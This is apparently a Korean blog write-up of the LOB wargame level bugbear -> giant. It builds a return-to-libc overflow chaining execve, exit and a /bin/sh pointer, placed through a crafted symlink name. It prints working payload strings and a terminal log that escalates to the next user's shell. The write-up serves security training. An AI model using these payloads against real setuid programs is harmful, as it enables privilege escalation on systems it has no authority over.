본문 바로가기

Wargame/LOB(끝)

bugbear -> giant

일단 중간중간 찍은 스샷부터





0x40058ae0 --> system




0x400fbff9 --> binsh

0x400a9d48 --> execve

0xbffffb0c --> null

0x400391e0 --> exit


포인터 배열

0xbffffad4

&execve &exit         &binsh &&binsh    &null

"`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\x02\xfc\xff\xbf" + "\xa0\xfa\xff\xbf"'`"




./"`python -c 'print "\xf9\xbf\x0f\x40"'`"  "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xc8\xfa\xff\xbf"'`"




./"`python -c 'print "\xf9\xbf\x0f\x40" + "\x00\x00\x00\x00"'`"  "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\x08\xfb\xff\xbf"'`"















올리다보니 순서가 거꾸로 되었다..

아래서 위로 보면될듯


이 문제를 풀기 위해서는 일단

execve() 의 기본형을 알아야 한다.


execve(

실행할 파일명

넘길 인자값

관련 환경변수

)


인데, 일단 우리가 필요한건

execve("/bin/sh",["/bin/sh",null],null) 

이다. 이제 이 하나하나 주소값으로 넘겨주어야 하는데,


페이로드는

dummy(44) + &execve + &exit + &/bin/sh + &(/bin/sh, null) + null


되시겄다.


execve 주소와 exit 주소, /bin/sh 주소 구하는 것은 darkknight -> bugbear 에서 했으니

여기서는

어떻게 &(/bin/sh, null) 를 구했는지 알아보겠다.


일단 메모리에 (/bin/sh 의 주소가 0x11111111 이라고 했을 때,)

0xbffffa38: 11111111 00000000

이런 식으로 들어가 있어야 한다.

11111111 이 배열 0, 00000000 이 배열 1 이 되는 것이다.

찾는 방법은 

set $x=$esp

while(*++$x!=0x11111111)

end

x/4x $x


이런식으로 찾아가면 된다.

만약 11111111을 찾았는데 뒤의 값이 널값(00000000) 이 아닐경우,

set $x=$x+4

이런식으로 넘기고 다시 while 문을 돌리면 금방 찾는다.




+++ 

하지만 중요한것은 일반적으로 /bin/sh 뒤에 00000000이 오기가 쉽지 않다.

그래서 심볼릭 링크를 통해, 직접 메모리에 저 값을 넣어줄 것이다.


ln -s giant "`python -c 'print &bin/sh + null(0x0000000)'`"


이렇게 하면, 파일 명이 메모리에 남으므로 메모리에 저 값을 넣을 수 있다.






[bugbear@localhost tmp]$ ./"`python -c 'print "\xf9\xbf\x0f\x40" + "\x00\x00\x00\x00"'`"  "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\x08\xfb\xff\xbf"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH 

@σ@?y¿

bash$ my-pass

euid = 513

new divide

bash$ exit

exit

[bugbear@localhost tmp]$ cd ..

[bugbear@localhost bugbear]$ ln -s giant "`python -c 'print "\xf9\xbf\x0f\x40" + "\x00\x00\x00\x00"'`"

ln: ?File exists

[bugbear@localhost bugbear]$ rm -i ./*

rm: remove write-protected file `./giant'? n

rm: remove write-protected file `./giant.c'? n

rm: ./tmp: is a directory

rm: remove `./? y

[bugbear@localhost bugbear]$ ln -s giant "`python -c 'print "\xf9\xbf\x0f\x40" + "\x00\x00\x00\x00"'`"

[bugbear@localhost bugbear]$ ./"`python -c 'print "\xf9\xbf\x0f\x40" + "\x00\x00\x00\x00"'`"  "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\x08\xfb\xff\xbf"'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH 

@σ@?y¿

bash$ id

uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)

bash$ my-pass

euid = 514

one step closer

bash$ 





'Wargame > LOB(끝)' 카테고리의 다른 글

giant -> assassin  (0) 2015.03.22
파이썬 버그 0x0f -> 0x00  (0) 2015.03.22
darkknight -> bugbear  (0) 2015.03.20
공유 라이브러리 하이재킹, 1 byte overwirte 는 건너뜁니다.  (0) 2015.03.20
vampire -> skeleton  (0) 2015.02.02